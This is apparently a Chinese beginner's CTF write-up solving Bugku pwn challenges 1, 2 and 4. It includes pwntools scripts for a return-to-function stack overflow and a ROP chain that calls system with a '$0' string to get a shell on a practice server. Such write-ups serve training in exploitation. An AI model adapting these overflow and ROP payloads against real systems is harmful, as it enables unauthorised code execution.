pwn刷题writeup(后续更新)

bugku的pwn1:

pwn刷题writeup(后续更新)_第1张图片

这道题没啥说的,

直接在linu下执行语句:nc 114.116.54.89 10001,

再 ls  命令展示当下目录,

然后 cat flag 读取目标文件,
一般来说是flag这个文件有flag,但是也不排除其它的地方有flag。

pwn刷题writeup(后续更新)_第2张图片

Bugku的pwn2:

pwn刷题writeup(后续更新)_第3张图片
第一步先nc上去程序,然后观看程序的作用。
pwn刷题writeup(后续更新)_第4张图片
传文件进入linux,再然后file pwn2,checksec pwn2:
pwn刷题writeup(后续更新)_第5张图片
然后64位的ida打开程序,然后f12查看关键字,再f5反编译,找到system函数:pwn刷题writeup(后续更新)_第6张图片
开始gdb ./pwn2 程序,运行完后,找到getshell函数的位置:
pwn刷题writeup(后续更新)_第7张图片
get_shell函数的地址为 0x400751,先cyclic 100 个随机的字符
然后根据溢出报的错,发现了字符串是48+8个=56个,到的retpwn刷题writeup(后续更新)_第8张图片
然后编写脚本:

from pwn import *
p = remote('114.116.54.89',10003)

length = 56
payload = 'a'*length + p64(0x400751) 
p.sendline(payload)
p.interactive()

然后运行脚本,得到flag:
pwn刷题writeup(后续更新)_第9张图片

bugku的pwn4:

1.首先和上面的第一步一样,先运行程序,记录下程序的功能:

pwn刷题writeup(后续更新)_第10张图片

然后file文件,发现文件是64位的,然后再checksec 文件,查找保护壳,发现没有保护。直接64ida打开,f5之后发现了read函数,说明了有溢出的可能。然后f12进行字符串的查找,

经过一番查找和尝试,萌新表示还是不太懂,于是寻找大佬的博客,才知道:
$0的用途	(这里一脸懵逼),结合之前找到的system()命令,还有binsh。
就可以开始准备写脚本。

pwn刷题writeup(后续更新)_第11张图片
这里得到system的地址:0x000000000040075A

pwn刷题writeup(后续更新)_第12张图片
这里稍微计算一下$0的位置,得到
0x0000000000601100+31=0x000000000060111F
(31是前面字符串的长度)

后面大佬的博客就有点难懂了:利用ROPgadget工具进行查找,得到pop rdi ; ret 的地址。
rdi:0x00000000004007d3

由于缓冲区是0x10,rbp是8个,则加起来,然后开始写脚本:

from pwn import *
context.log_level = 'debug'
conn = remote('114.116.54.89', 10004)
# conn = process('./pwn4')
pop_rdi = 0x00000000004007d3 
bin_sh = 0x000000000060111f
system = 0x000000000040075A
payload = 'A' * (0x10+8) + p64(pop_rdi) + p64(bin_sh) + p64(system)  
conn.recvuntil('Come on,try to pwn me')
conn.sendline(payload)
conn.interactive()

然后得到flag:
pwn刷题writeup(后续更新)_第13张图片

你可能感兴趣的:(bugku,pwn,writeup)